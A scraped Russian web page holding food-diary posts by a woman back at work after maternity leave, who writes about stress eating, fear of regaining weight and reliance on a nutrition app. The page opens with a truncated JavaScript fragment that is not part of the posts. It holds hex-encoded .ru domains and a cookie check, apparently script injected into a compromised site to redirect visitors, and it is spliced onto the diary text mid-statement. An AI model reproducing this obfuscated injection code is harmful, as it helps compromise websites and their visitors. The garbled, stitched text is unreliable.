o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^&#93/g,"\\$1"+"=([^;]*)");return

Недавно вышла на работу после 3-х лет декрета,работа нервная,ребёнок второй день в саду,плачет она,плачу я Про еду забываю напрочь. даже вкуса еды не чувствую на фоне стресса.   Вроде сегодня и вкусности всякие себе позволяла (точнее впихивала),но легче на душе не становится. Боюсь,что опять высохну до ужаса,а когда всё успокоится,опять растолстею. Вот так вот,хоть тут пожалуюсь на жизнь,ибо все кругом только и говорят,что я не первая,кто из декрета вышел и ребенка в сад отправил,мол не ной. Прикреплен дневник питания

Сегодня мой первый день на работе после декрета  Пока на пол ставки,но кушать уже тяжело. Уже не получается питаться через 3 часа как раньше,да и ем абы как и абы что((( Очень боюсь располнеть обратно,ведь кроме ненастроенного пока рациона ещё и график с ночными сменами  Вот так и живём! Прикреплен дневник питания

Сегодня испытала шок,в хорошем смысле  Были в деревне и поэтому всё изначально записывала в блокнот(хорошо ещё и весы с собой взяла),по приезду домой стала записывать всё сюда. И что вы думаете,мало того,что вписалась в зелёные полоски,так ещё и рейтинг нутриентов довольно высокий для меня.Так что,я сегодня воистину молодец Буду продолжать в том же духе)))   Прикреплен дневник питания

Нашла недавно на компьютере фотографии с прошлого Нового года   Поискала потом и фото с этого НГ) Разница между фото 1 год и 14 кг. Ну и чем не мотивация?( Обратно в этот вес я не вернусь,даю вам слово! )   

Тяжело,очень мне тяжело планировать хороший рацион,когда бюджет ограничен до нельзя  Буду ждать лучших времён,а пока искать бюджетные и вкусные блюда(ну и конечно же полезные ) Прикреплен дневник питания

Итак,вот уже 2 дня я живу без социальной версии приложения МЗР. Нервишки пошаливают,так как я не в курсе,как там поживают мои витамины и нутриенты,а также как на меня влияют различные физ.упражненияВсё бы ничего,но в голову пришла мысль,а есть ли вообще жизнь без МЗР? Вдруг исчезнет интернет,и как мы все будем кушать? Походу у меня зависимость,но теперь не от еды,а от МЗР

Худеть перестала,а привычка осталась! Без сладкого не набирается должное количество углеводов,а кушать каши и фрукты килограммами не лезет. Прикреплен дневник питания

Сегодня могу себя похвалить,всё зелёное!!! С завтрашнего дня буду повышать физ. нагрузки Прикреплен дневник питания

Опять сладости всё испортили Завтра буду исправляться! Прикреплен дневник питания